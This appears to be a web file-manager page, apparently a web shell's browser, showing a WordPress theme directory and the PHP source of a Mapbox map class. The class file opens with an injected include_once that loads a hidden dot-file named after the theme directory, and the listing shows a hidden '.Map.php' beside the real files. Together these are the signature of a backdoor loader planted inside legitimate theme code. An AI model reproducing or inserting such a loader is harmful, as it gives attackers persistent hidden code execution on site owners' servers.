PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wilcity
/
src
/
Map
<?php namespace Wilcity\Map; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class Mapbox extends AbstractMap implements InterfaceMap { private $aKeys = [ 'mapbox_api' => 'accessToken', 'general_locale_code' => 'language', 'general_search_restriction' => 'restriction', 'mapbox_style' => 'style', 'mapbox_iconsize' => 'iconSize' ]; public function getAllConfig() { $aValues = [ 'vueComponent' => 'wil-mapbox' ]; foreach ($this->aKeys as $optionKey => $commonOption) { $aValues[$commonOption] = \WilokeThemeOptions::getOptionDetail($optionKey); } return $aValues + $this->getCommonSettings(); } public function getKey($key) { return \WilokeThemeOptions::getOptionDetail($key); } }
[+]
..
[-] GoogleMap.php
[edit]
[-] MapHelper.php
[edit]
[-] .Map.php
[edit]
[-] FactoryMap.php
[edit]
[-] AbstractMap.php
[edit]
[-] Mapbox.php
[edit]
[-] InterfaceMap.php
[edit]